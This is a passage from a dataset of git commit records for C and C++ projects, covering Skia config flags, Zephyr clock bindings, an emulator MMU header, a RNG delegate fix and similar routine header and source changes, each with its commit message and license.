*);\nvoid\t\tversion(void);\nvoid\t\tquit(int);\n\n\n#endif\n","subject":"Call this version what it is. Missed in earlier.","message":"Call this version what it is. Missed in earlier.\n","lang":"C","license":"bsd-2-clause","repos":"levaidaniel\/kc,levaidaniel\/kc,levaidaniel\/kc"}
{"commit":"c3767e9e67b7cf8d3b1c562ba5d260a42baabf1d","old_file":"config.h","new_file":"config.h","old_contents":"#ifndef PICAM_CONFIG_H\n#define PICAM_CONFIG_H\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n\/\/ Even if we specify 30 FPS, Raspberry Pi Camera provides slighly lower FPS.\n#define TARGET_FPS 30\n#define GOP_SIZE TARGET_FPS\n\n#define H264_BIT_RATE 3000 * 1000  \/\/ 3 Mbps\n\n\/\/ 1600x900 is the upper limit if you don't use tunnel from camera to video_encode.\n\/\/ 720p (1280x720) is good enough for most cases.\n#define WIDTH 1280\n#define HEIGHT 720\n\n\/\/ Choose the value that results in non-repeating decimal when divided by 90000.\n\/\/ e.g. 48000 and 32000 are fine, but 44100 and 22050 are bad.\n#define AUDIO_SAMPLE_RATE 48000 \n\n#define AAC_BIT_RATE 40000  \/\/ 40 kbps\n\n\/\/ Set this value to 1 if you want to produce audio-only stream for debugging.\n#define AUDIO_ONLY 0\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif\n","new_contents":"#ifndef PICAM_CONFIG_H\n#define PICAM_CONFIG_H\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n\/\/ 1600x900 is the upper limit if you don't use tunnel from camera to video_encode.\n\/\/ 720p (1280x720) is good enough for most cases.\n#define WIDTH 1280\n#define HEIGHT 720\n\n\/\/ Even if we specify 30 FPS, Raspberry Pi Camera provides slighly lower FPS.\n#define TARGET_FPS 30\n\n\/\/ Distance between two key frames\n#define GOP_SIZE TARGET_FPS\n\n#define H264_BIT_RATE 2000 * 1000  \/\/ 2 Mbps\n\n\/\/ Choose the value that results in non-repeating decimal when divided by 90000.\n\/\/ e.g. 48000 and 32000 are fine, but 44100 and 22050 are bad.\n#define AUDIO_SAMPLE_RATE 48000 \n\n#define AAC_BIT_RATE 40000  \/\/ 40 Kbps\n\n\/\/ Set this value to 1 if you want to produce audio-only stream for debugging.\n#define AUDIO_ONLY 0\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif\n","subject":"Change video bitrate to 2 Mbps","message":"Change video bitrate to 2 Mbps\n","lang":"C","license":"lgpl-2.1","repos":"iizukanao\/picam,Rutong\/picam,thagenbeek\/picam,thagenbeek\/picam,iizukanao\/picam,iizukanao\/picam,thagenbeek\/picam,Rutong\/picam"}
{"commit":"a07ddde4fa630539f5bd13d22485dd4715b067e1","old_file":"argv.h","new_file":"argv.h","old_contents":"\/*\n *  Copyright (c) 2014, Facebook, Inc.\n *  All rights reserved.\n *\n *  This source code is licensed under the BSD-style license found in\n *  the LICENSE file in the root directory of this source tree. An\n *  additional grant of patent rights can be found in the PATENTS file\n *  in the same directory.\n *\n *\/\n#pragma once\n#include <stddef.h>\nsize_t argv_count(const char* const* argv);\n\nconst char** argv_concat(const char* const* argv1, ...);\nconst char** argv_concat_deepcopy(const char* const* argv1, ...);\nextern const char* const empty_argv[];\n","new_contents":"\/*\n *  Copyright (c) 2014, Facebook, Inc.\n *  All rights reserved.\n *\n *  This source code is licensed under the BSD-style license found in\n *  the LICENSE file in the root directory of this source tree. An\n *  additional grant of patent rights can be found in the PATENTS file\n *  in the same directory.\n *\n *\/\n#pragma once\n#include <stddef.h>\nsize_t argv_count(const char* const* argv);\n\nconst char** argv_concat(const char* const* argv1, ...);\nconst char** argv_concat_deepcopy(const char* const* argv1, ...);\nextern const char* const empty_argv[];\n\n#define ARGV(...) ((const char*[]){__VA_ARGS__ , NULL})\n#define ARGV_CONCAT(...) argv_concat(__VA_ARGS__ , NULL)\n","subject":"Add ARGV and ARGV_CONCAT macros","message":"Add ARGV and ARGV_CONCAT macros\n","lang":"C","license":"bsd-3-clause","repos":"JuudeDemos\/fb-adb,JuudeDemos\/fb-adb,tcmulcahy\/fb-adb,JuudeDemos\/fb-adb,0359xiaodong\/fb-adb,tcmulcahy\/fb-adb,biddyweb\/fb-adb,biddyweb\/fb-adb,tcmulcahy\/fb-adb,biddyweb\/fb-adb,0359xiaodong\/fb-adb,0359xiaodong\/fb-adb"}
{"commit":"6ffac22050217acb02c85c9f199c2bb18131b484","old_file":"main.c","new_file":"main.c","old_contents":"\/\/ Copyright 2016, Jeffrey E. Bedard\n\n#include \"xstatus.h\"\n#include \"config.h\"\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nstatic const char * helptext =\n\"DESCRIPTION:  Simple X toolbar for minimalistic\"\n\" window managers.\\n\"\n\"USAGE: xstatus [-d DELAY][-f FILE][-h]\\n\"\n\"\\t-d DELAY     Set delay between status updates,\"\n\" in seconds.\\n\"\n\"\\t-f FILE      Set FILE to be continuously polled and\"\n\" displayed.\\n\"\n\"\\t-h           Print this usage information.  \\n\"\n\"Copyright 2016, Jeffrey E. Bedard <jefbed@gmail.com>\\n\"\n\"Project page:  https:\/\/github.com\/jefbed\/xstatus\\n\";\n\nint main(int argc, char ** argv)\n{\n\tchar *filename=DEFAULTF;\n\tuint8_t delay=1;\n\tint opt;\n\twhile((opt = getopt(argc, argv, \"d:f:h\")) != -1) {\n\t\tswitch(opt) {\n\t\tcase 'd':\n\t\t\tdelay=atoi(optarg);\n\t\t\tbreak;\n\t\tcase 'f':\n\t\t\tfilename=optarg;\n\t\t\tbreak;\n\t\tcase 'h':\n\t\tdefault:\n\t\t\tfprintf(stdout, \"%s\", helptext);\n\t\t\texit(0);\n\t\t}\n\t}\n\trun_xstatus(filename, delay);\n}\n\n","new_contents":"\/\/ Copyright 2016, Jeffrey E. Bedard\n\n#include \"xstatus.h\"\n#include \"config.h\"\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nstatic const char helptext[] =\n\"DESCRIPTION:  Simple X toolbar for minimalistic\"\n\" window managers.\\n\"\n\"USAGE: xstatus [-d DELAY][-f FILE][-h]\\n\"\n\"\\t-d DELAY     Set delay between status updates,\"\n\" in seconds.\\n\"\n\"\\t-f FILE      Set FILE to be continuously polled and\"\n\" displayed.\\n\"\n\"\\t-h           Print this usage information.  \\n\"\n\"Copyright 2016, Jeffrey E. Bedard <jefbed@gmail.com>\\n\"\n\"Project page:  https:\/\/github.com\/jefbed\/xstatus\\n\";\n\nint main(int argc, char ** argv)\n{\n\tchar *filename=DEFAULTF;\n\tuint8_t delay=1;\n\tint opt;\n\twhile((opt = getopt(argc, argv, \"d:f:h\")) != -1) {\n\t\tswitch(opt) {\n\t\tcase 'd':\n\t\t\tdelay=atoi(optarg);\n\t\t\tbreak;\n\t\tcase 'f':\n\t\t\tfilename=optarg;\n\t\t\tbreak;\n\t\tcase 'h':\n\t\tdefault:\n\t\t\twrite(2, helptext, sizeof(helptext));\n\t\t\texit(0);\n\t\t}\n\t}\n\trun_xstatus(filename, delay);\n}\n\n","subject":"Use write(2) to display helptext.","message":"Use write(2) to display helptext.\n","lang":"C","license":"mit","repos":"jefbed\/xstatus,jefbed\/xstatus,jefbed\/xstatus,jefbed\/xstatus"}
{"commit":"f9e0b90cd8c66238a9e267fd78b95d0146b89064","old_file":"SmartDeviceLink\/SDLMacros.h","new_file":"SmartDeviceLink\/SDLMacros.h","old_contents":"\/\/\n\/\/  SDLMacros.h\n\/\/  SmartDeviceLink-iOS\n\/\/\n\/\/  Created by Muller, Alexander (A.) on 10\/17\/16.\n\/\/  Copyright © 2016 smartdevicelink. All rights reserved.\n\/\/\n\n#ifndef SDLMacros_h\n#define SDLMacros_h\n\n\/\/ Resolves issue of pre-xcode 8 versions due to NS_STRING_ENUM unavailability.\n#ifndef SDL_SWIFT_ENUM\n    #if __has_attribute(NS_STRING_ENUM)\n        #define SDL_SWIFT_ENUM NS_STRING_ENUM\n    #else\n        #define SDL_SWIFT_ENUM\n    #endif\n#endif\n\n#endif \/* SDLMacros_h *\/\n","new_contents":"\/\/\n\/\/  SDLMacros.h\n\/\/  SmartDeviceLink-iOS\n\/\/\n\/\/  Created by Muller, Alexander (A.) on 10\/17\/16.\n\/\/  Copyright © 2016 smartdevicelink. All rights reserved.\n\/\/\n\n#ifndef SDLMacros_h\n#define SDLMacros_h\n\n\/\/ Resolves issue of pre-xcode 8 versions due to NS_STRING_ENUM unavailability.\n#ifndef SDL_SWIFT_ENUM\n    #if __has_attribute(swift_wrapper)\n        #define SDL_SWIFT_ENUM NS_STRING_ENUM\n    #else\n        #define SDL_SWIFT_ENUM\n    #endif\n#endif\n\n#endif \/* SDLMacros_h *\/\n","subject":"Revert \"Changed macro to look specifically for NS_STRING_ENUM\"","message":"Revert \"Changed macro to look specifically for NS_STRING_ENUM\"\n\nThis reverts commit de01a9f7b3ed63f683604d3595568bacf5f54a5e.\n","lang":"C","license":"bsd-3-clause","repos":"FordDev\/sdl_ios,FordDev\/sdl_ios,kshala-ford\/sdl_ios,smartdevicelink\/sdl_ios,smartdevicelink\/sdl_ios,APCVSRepo\/sdl_ios,kshala-ford\/sdl_ios,smartdevicelink\/sdl_ios,APCVSRepo\/sdl_ios,kshala-ford\/sdl_ios,smartdevicelink\/sdl_ios,kshala-ford\/sdl_ios,APCVSRepo\/sdl_ios,APCVSRepo\/sdl_ios,smartdevicelink\/sdl_ios,FordDev\/sdl_ios,FordDev\/sdl_ios,kshala-ford\/sdl_ios,APCVSRepo\/sdl_ios,FordDev\/sdl_ios"}
{"commit":"6634d796894e48cdd9247687eb7edc233fb77d23","old_file":"slavetypes.h","new_file":"slavetypes.h","old_contents":"","new_contents":"typedef struct\n{\n\tuint8_t Length; \/\/Length of frame, if it's equal to 0, frame is not ready\n\tuint8_t *Frame; \/\/Response frame content\n} MODBUSResponseStatus; \/\/Type containing information about frame that is set up at slave side\n\ntypedef struct\n{\n\tuint8_t Address;\n\tuint16_t *Registers;\n\tuint16_t RegisterCount;\n\tMODBUSResponseStatus Response;\n} MODBUSSlaveStatus; \/\/Type containing slave device configuration data\n","subject":"Move types declarations to new file","message":"Move types declarations to new file\n","lang":"C","license":"mit","repos":"Jacajack\/modlib"}
{"commit":"d4aa975d6504cf9c0653775cb9bee4976db48f36","old_file":"src\/mmu.h","new_file":"src\/mmu.h","old_contents":"#pragma once\n\n#include \"address.h\"\n#include \"options.h\"\n#include \"cartridge\/cartridge.h\"\n\n#include <vector>\n#include <memory>\n\nclass Video;\nclass CPU;\nclass Serial;\nclass Input;\nclass Timer;\n\nclass MMU {\npublic:\n    MMU(std::shared_ptr<Cartridge> inCartridge, CPU& inCPU, Video& inVideo, Input& input, Serial& serial, Timer& timer, Options& options);\n\n    auto read(const Address& address) const -> u8;\n    void write(const Address& address, u8 byte);\n\nprivate:\n    auto boot_rom_active() const -> bool;\n\n    auto read_io(const Address& address) const -> u8;\n    void write_io(const Address& address, u8 byte);\n\n    auto memory_read(const Address& address) const -> u8;\n    void memory_write(const Address& address, u8 byte);\n\n    void dma_transfer(const u8 byte);\n\n    std::shared_ptr<Cartridge> cartridge;\n    CPU& cpu;\n    Video& video;\n    Input& input;\n    Serial& serial;\n    Timer& timer;\n    Options& options;\n\n    std::vector<u8> memory;\n\n    friend class Debugger;\n};\n","new_contents":"#pragma once\n\n#include \"address.h\"\n#include \"options.h\"\n#include \"cartridge\/cartridge.h\"\n\n#include <vector>\n#include <memory>\n\nclass Video;\nclass CPU;\nclass Serial;\nclass Input;\nclass Timer;\n\nclass MMU {\npublic:\n    MMU(std::shared_ptr<Cartridge> inCartridge, CPU& inCPU, Video& inVideo, Input& input, Serial& serial, Timer& timer, Options& options);\n\n    auto read(const Address& address) const -> u8;\n    void write(const Address& address, u8 byte);\n\nprivate:\n    auto boot_rom_active() const -> bool;\n\n    auto read_io(const Address& address) const -> u8;\n    void write_io(const Address& address, u8 byte);\n\n    auto memory_read(const Address& address) const -> u8;\n    void memory_write(const Address& address, u8 byte);\n\n    void dma_transfer(u8 byte);\n\n    std::shared_ptr<Cartridge> cartridge;\n    CPU& cpu;\n    Video& video;\n    Input& input;\n    Serial& serial;\n    Timer& timer;\n    Options& options;\n\n    std::vector<u8> memory;\n\n    friend class Debugger;\n};\n","subject":"Remove unnecessary const qualifier in function declaration","message":"Remove unnecessary const qualifier in function declaration\n","lang":"C","license":"bsd-3-clause","repos":"jgilchrist\/emulator,jgilchrist\/emulator,jgilchrist\/emulator"}
{"commit":"3225819105d4aeea7f374963cfb9d001e3add21b","old_file":"include\/inform\/inform.h","new_file":"include\/inform\/inform.h","old_contents":"\/\/ Copyright 2016 ELIFE. All rights reserved.\n\/\/ Use of this source code is governed by a MIT\n\/\/ license that can be found in the LICENSE file.\n#pragma once\n\n#include <inform\/dist.h>\n#include <inform\/entropy.h>\n#include <inform\/state_encoding.h>\n\n#include <inform\/active_info.h>\n#include <inform\/entropy_rate.h>\n#include <inform\/transfer_entropy.h>\n","new_contents":"\/\/ Copyright 2016 ELIFE. All rights reserved.\n\/\/ Use of this source code is governed by a MIT\n\/\/ license that can be found in the LICENSE file.\n#pragma once\n\n#include <inform\/dist.h>\n#include <inform\/shannon.h>\n#include <inform\/state_encoding.h>\n\n#include <inform\/active_info.h>\n#include <inform\/entropy_rate.h>\n#include <inform\/transfer_entropy.h>\n","subject":"Include shannon.h instead of entropy.h","message":"Include shannon.h instead of entropy.h\n","lang":"C","license":"mit","repos":"dglmoore\/Inform,ELIFE-ASU\/Inform,ELIFE-ASU\/Inform,dglmoore\/Inform"}
{"commit":"b50d0ebfcb55a818f6ffd78838fef642e8a9ca07","old_file":"include\/dt-bindings\/clock\/mcux_lpc_syscon_clock.h","new_file":"include\/dt-bindings\/clock\/mcux_lpc_syscon_clock.h","old_contents":"","new_contents":"\/*\n * Copyright (c) 2020, NXP\n *\n * SPDX-License-Identifier: Apache-2.0\n *\/\n\n#ifndef ZEPHYR_INCLUDE_DT_BINDINGS_CLOCK_MCUX_LPC_SYSCON_H_\n#define ZEPHYR_INCLUDE_DT_BINDINGS_CLOCK_MCUX_LPC_SYSCON_H_\n\n#define MCUX_FLEXCOMM0_CLK\t\t0\n#define MCUX_FLEXCOMM1_CLK\t\t1\n#define MCUX_FLEXCOMM2_CLK\t\t2\n#define MCUX_FLEXCOMM3_CLK\t\t3\n#define MCUX_FLEXCOMM4_CLK\t\t4\n#define MCUX_FLEXCOMM5_CLK\t\t5\n#define MCUX_FLEXCOMM6_CLK\t\t6\n#define MCUX_FLEXCOMM7_CLK\t\t7\n#define MCUX_HS_SPI_CLK\t\t8\n\n#endif \/* ZEPHYR_INCLUDE_DT_BINDINGS_CLOCK_MCUX_LPC_SYSCON_H_ *\/\n","subject":"Add NXP LPC clock control driver","message":"include: Add NXP LPC clock control driver\n\nDTS bindings file for NXP LPC clock control driver that\nuses the MCUX SDK drivers\n\nSigned-off-by: Mahesh Mahadevan <7f315ec3481825d543f8bec256ad86a4adc9dd8a@nxp.com>\n","lang":"C","license":"apache-2.0","repos":"Vudentz\/zephyr,Vudentz\/zephyr,finikorg\/zephyr,Vudentz\/zephyr,nashif\/zephyr,galak\/zephyr,nashif\/zephyr,zephyrproject-rtos\/zephyr,zephyrproject-rtos\/zephyr,Vudentz\/zephyr,finikorg\/zephyr,galak\/zephyr,finikorg\/zephyr,zephyrproject-rtos\/zephyr,galak\/zephyr,zephyrproject-rtos\/zephyr,Vudentz\/zephyr,zephyrproject-rtos\/zephyr,nashif\/zephyr,galak\/zephyr,nashif\/zephyr,finikorg\/zephyr,galak\/zephyr,Vudentz\/zephyr,nashif\/zephyr,finikorg\/zephyr"}
{"commit":"cdf007579b40a6de97eed519fae989398f9dcf26","old_file":"src\/lib\/RandomnessDelegate.h","new_file":"src\/lib\/RandomnessDelegate.h","old_contents":"\/\/\n\/\/  RandomnessDelegate.h\n\/\/  jdemon\n\/\/\n\/\/  Created by Mark Larus on 3\/19\/13.\n\/\/  Copyright (c) 2013 Kenyon College. All rights reserved.\n\/\/\n\n#ifndef __jdemon__RandomnessDelegate__\n#define __jdemon__RandomnessDelegate__\n\n#include <gsl\/gsl_rng.h>\n#include <stdexcept>\n\nnamespace Randomness {\n    class Delegate {\n    protected:\n        Delegate() {}\n    public:\n        virtual bool binaryEventWithProbability(double probabilityOfHappening) = 0;\n        virtual int randomIntegerFromInclusiveRange(int begin, int end) = 0;\n    };\n    \n    class GSLDelegate : public Delegate {\n        gsl_rng *RNG;\n    public:\n        bool binaryEventWithProbability( double probabilityOfHappening ) {\n            return gsl_rng_get(RNG) < probabilityOfHappening ? 1 : 0;\n        };\n        int randomIntegerFromInclusiveRange(int begin, int end) {\n            if (end<begin) {\n                throw std::runtime_error(\"Invalid RNG range. 'begin' must be less than 'end'\");\n            }\n            return (int)gsl_rng_uniform_int(RNG, end-begin) + begin;\n        }\n        GSLDelegate(gsl_rng *r) : RNG(r) {}\n    };\n}\n\n\n\n#endif \/* defined(__jdemon__RandomnessDelegate__) *\/\n","new_contents":"\/\/\n\/\/  RandomnessDelegate.h\n\/\/  jdemon\n\/\/\n\/\/  Created by Mark Larus on 3\/19\/13.\n\/\/  Copyright (c) 2013 Kenyon College. All rights reserved.\n\/\/\n\n#ifndef __jdemon__RandomnessDelegate__\n#define __jdemon__RandomnessDelegate__\n\n#include <gsl\/gsl_rng.h>\n#include <stdexcept>\n\nnamespace Randomness {\n    class Delegate {\n    protected:\n        Delegate() {}\n    public:\n        virtual bool binaryEventWithProbability(double probabilityOfHappening) = 0;\n        virtual int randomIntegerFromInclusiveRange(int begin, int end) = 0;\n    };\n    \n    class GSLDelegate : public Delegate {\n        gsl_rng *RNG;\n    public:\n        bool binaryEventWithProbability( double probabilityOfHappening ) {\n            return gsl_rng_uniform(RNG) < probabilityOfHappening ? 1 : 0;\n        };\n        int randomIntegerFromInclusiveRange(int begin, int end) {\n            if (end<begin) {\n                throw std::runtime_error(\"Invalid RNG range. 'begin' must be less than 'end'\");\n            }\n            return (int)gsl_rng_uniform_int(RNG, end-begin) + begin;\n        }\n        GSLDelegate(gsl_rng *r) : RNG(r) {}\n    };\n}\n\n\n\n#endif \/* defined(__jdemon__RandomnessDelegate__) *\/\n","subject":"Use gsl_rng_uniform instead of gsl_rng_get","message":"Use gsl_rng_uniform instead of gsl_rng_get\n","lang":"C","license":"mit","repos":"marblar\/demon,marblar\/demon,marblar\/demon,marblar\/demon"}
{"commit":"ad59ece0e473ce0278ab3516e9d0a757955a5da1","old_file":"test\/cfi\/icall\/external-call.c","new_file":"test\/cfi\/icall\/external-call.c","old_contents":"\/\/ RUN: %clang_cfi -lm -o %t1 %s\n\/\/ RUN: %t1 c 1 2>&1 | FileCheck --check-prefix=CFI %s\n\/\/ RUN: %t1 s 2 2>&1 | FileCheck --check-prefix=CFI %s\n\n\/\/ This test uses jump tables containing PC-relative references to external\n\/\/ symbols, which the Mach-O object writer does not currently support.\n\/\/ XFAIL: darwin\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <math.h>\n\nint main(int argc, char **argv) {\n  \/\/ CFI: 1\n  fprintf(stderr, \"1\\n\");\n\n  double (*fn)(double);\n  if (argv[1][0] == 's')\n    fn = sin;\n  else\n    fn = cos;\n\n  fn(atof(argv[2]));\n\n  \/\/ CFI: 2\n  fprintf(stderr, \"2\\n\");\n}\n","new_contents":"\/\/ RUN: %clang_cfi -lm -o %t1 %s\n\/\/ RUN: %t1 c 1 2>&1 | FileCheck --check-prefix=CFI %s\n\/\/ RUN: %t1 s 2 2>&1 | FileCheck --check-prefix=CFI %s\n\n\/\/ This test uses jump tables containing PC-relative references to external\n\/\/ symbols, which the Mach-O object writer does not currently support.\n\/\/ The test passes on i386 Darwin and fails on x86_64, hence unsupported instead of xfail.\n\/\/ UNSUPPORTED: darwin\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <math.h>\n\nint main(int argc, char **argv) {\n  \/\/ CFI: 1\n  fprintf(stderr, \"1\\n\");\n\n  double (*fn)(double);\n  if (argv[1][0] == 's')\n    fn = sin;\n  else\n    fn = cos;\n\n  fn(atof(argv[2]));\n\n  \/\/ CFI: 2\n  fprintf(stderr, \"2\\n\");\n}\n","subject":"Mark a test as unsupported on darwin.","message":"[cfi] Mark a test as unsupported on darwin.\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@315007 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"82525d9d804d64d3f5ec9b999e0a2996a33e6900","old_file":"examples\/help_output.c","new_file":"examples\/help_output.c","old_contents":"","new_contents":"#include <argparse.h>\n#include <stdio.h>\n\nint main(int argc, char **argv) {\n    args *args = args_new();\n\n    args_add_option(args, option_new(\"f\", \"feature\", \"description of feature\"));\n    args_help(args, stdout);\n\n    args_free(args);\n}\n","subject":"Add example for help output","message":"Add example for help output\n","lang":"C","license":"mit","repos":"ntnn\/libargparse,ntnn\/libargparse"}
{"commit":"098c879ed8c055047261c5cce0567b81fecbf197","old_file":"include\/config\/SkUserConfigManual.h","new_file":"include\/config\/SkUserConfigManual.h","old_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkUserConfigManual_DEFINED\n#define SkUserConfigManual_DEFINED\n  #define GR_TEST_UTILS 1\n  #define SK_BUILD_FOR_ANDROID_FRAMEWORK\n  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)\n  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)\n  #define SK_USE_FREETYPE_EMBOLDEN\n\n  \/\/ Disable these Ganesh features\n  #define SK_DISABLE_REDUCE_OPLIST_SPLITTING\n  \/\/ Check error is expensive. HWUI historically also doesn't check its allocations\n  #define GR_GL_CHECK_ALLOC_WITH_GET_ERROR 0\n\n  \/\/ Legacy flags\n  #define SK_SUPPORT_DEPRECATED_CLIPOPS\n\n  \/\/ Staging flags\n  #define SK_LEGACY_PATH_ARCTO_ENDPOINT\n\n  \/\/ Needed until we fix https:\/\/bug.skia.org\/2440\n  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG\n  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER\n  #define SK_SUPPORT_LEGACY_AA_CHOICE\n  #define SK_SUPPORT_LEGACY_AAA_CHOICE\n\n  #define SK_DISABLE_DAA  \/\/ skbug.com\/6886\n\n#endif \/\/ SkUserConfigManual_DEFINED\n","new_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkUserConfigManual_DEFINED\n#define SkUserConfigManual_DEFINED\n  #define GR_TEST_UTILS 1\n  #define SK_BUILD_FOR_ANDROID_FRAMEWORK\n  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)\n  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)\n  #define SK_USE_FREETYPE_EMBOLDEN\n\n  \/\/ Disable these Ganesh features\n  #define SK_DISABLE_REDUCE_OPLIST_SPLITTING\n  \/\/ Check error is expensive. HWUI historically also doesn't check its allocations\n  #define GR_GL_CHECK_ALLOC_WITH_GET_ERROR 0\n\n  \/\/ Legacy flags\n  #define SK_SUPPORT_DEPRECATED_CLIPOPS\n\n  \/\/ Staging flags\n  #define SK_LEGACY_PATH_ARCTO_ENDPOINT\n\n  \/\/ Needed until we fix https:\/\/bug.skia.org\/2440\n  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG\n  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER\n  #define SK_SUPPORT_LEGACY_AA_CHOICE\n  #define SK_SUPPORT_LEGACY_AAA_CHOICE\n  #define SK_SUPPORT_LEGACY_GETBLENDMODE\n  #define SK_SUPPORT_LEGACY_SETFILTERQUALITY\n\n  #define SK_DISABLE_DAA  \/\/ skbug.com\/6886\n\n#endif \/\/ SkUserConfigManual_DEFINED\n","subject":"Add flags to stage Skia API changes","message":"Add flags to stage Skia API changes\n\nTest: make\n\nBug: 178700363\nChange-Id: I5d214f8fd69f7419f8b98f61a6e2f26f08587ff7\n","lang":"C","license":"bsd-3-clause","repos":"aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia"}
{"commit":"a55236affb0c47b07533db1a13b094b0b567606c","old_file":"include\/config\/SkUserConfigManual.h","new_file":"include\/config\/SkUserConfigManual.h","old_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkUserConfigManual_DEFINED\n#define SkUserConfigManual_DEFINED\n  #define GR_TEST_UTILS 1\n  #define SK_BUILD_FOR_ANDROID_FRAMEWORK\n  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)\n  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)\n  #define SK_USE_FREETYPE_EMBOLDEN\n\n  \/\/ Disable these Ganesh features\n  #define SK_DISABLE_REDUCE_OPLIST_SPLITTING\n  \/\/ Check error is expensive. HWUI historically also doesn't check its allocations\n  #define GR_GL_CHECK_ALLOC_WITH_GET_ERROR 0\n\n  \/\/ Legacy flags\n  #define SK_IGNORE_GPU_DITHER\n  #define SK_SUPPORT_DEPRECATED_CLIPOPS\n\n  \/\/ Staging flags\n  #define SK_LEGACY_PATH_ARCTO_ENDPOINT\n\n\n  \/\/ Needed until we fix https:\/\/bug.skia.org\/2440\n  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG\n  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER\n  #define SK_SUPPORT_LEGACY_AA_CHOICE\n  #define SK_SUPPORT_LEGACY_AAA_CHOICE\n\n  #define SK_DISABLE_DAA  \/\/ skbug.com\/6886\n\n#endif \/\/ SkUserConfigManual_DEFINED\n","new_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkUserConfigManual_DEFINED\n#define SkUserConfigManual_DEFINED\n  #define GR_TEST_UTILS 1\n  #define SK_BUILD_FOR_ANDROID_FRAMEWORK\n  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)\n  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)\n  #define SK_USE_FREETYPE_EMBOLDEN\n\n  \/\/ Disable these Ganesh features\n  #define SK_DISABLE_REDUCE_OPLIST_SPLITTING\n  \/\/ Check error is expensive. HWUI historically also doesn't check its allocations\n  #define GR_GL_CHECK_ALLOC_WITH_GET_ERROR 0\n\n  \/\/ Legacy flags\n  #define SK_IGNORE_GPU_DITHER\n  #define SK_SUPPORT_DEPRECATED_CLIPOPS\n\n  \/\/ Staging flags\n  #define SK_LEGACY_PATH_ARCTO_ENDPOINT\n  #define SK_SUPPORT_LEGACY_PAINT_QUALITY_APIS\n\n\n  \/\/ Needed until we fix https:\/\/bug.skia.org\/2440\n  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG\n  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER\n  #define SK_SUPPORT_LEGACY_AA_CHOICE\n  #define SK_SUPPORT_LEGACY_AAA_CHOICE\n\n  #define SK_DISABLE_DAA  \/\/ skbug.com\/6886\n\n#endif \/\/ SkUserConfigManual_DEFINED\n","subject":"Add flag to stage api change","message":"Add flag to stage api change\n\nRelated skia cl: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/358736\n\nTest: make\n\nChange-Id: Ic02219b27117280addfd083481a1ae2440584d65\n","lang":"C","license":"bsd-3-clause","repos":"aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia"}
{"commit":"20abb0f77e5ddbf3481d9bd4e9335d7a32fcfc40","old_file":"lib\/GPIOlib.h","new_file":"lib\/GPIOlib.h","old_contents":"#ifndef GPIOLIB_H\n#define GPIOLIB_H\n\n#define FORWARD 1\n#define BACKWARD 0\n\nnamespace GPIO\n{\n\tint init();\n\t\n\t\/\/direction is either FORWARD or BACKWARD. speed can be an integer ranging from 0 to 100.\n\tint controlLeft(int direction,int speed);\n\tint controlRight(int direction,int speed);\n\tint stopLeft();\n\tint stopRight();\n\t\n\tint resetCounter();\n\tvoid getCounter(int *countLeft,int *countRight);\n\t\/\/angle is available in the range of -90 to 90.\n\tint turnTo(int angle);\n\t\n\tvoid delay(int milliseconds);\n}\n#endif\n","new_contents":"#ifndef GPIOLIB_H\n#define GPIOLIB_H\n\n#define FORWARD 1\n#define BACKWARD 0\n\nnamespace GPIO\n{\n\tint init();\n\t\n\tint controlLeft(int direction,int speed);\n\tint controlRight(int direction,int speed);\n\tint stopLeft();\n\tint stopRight();\n\t\n\tint resetCounter();\n\tvoid getCounter(int *countLeft,int *countRight);\n\tint turnTo(int angle);\n\t\n\tvoid delay(int 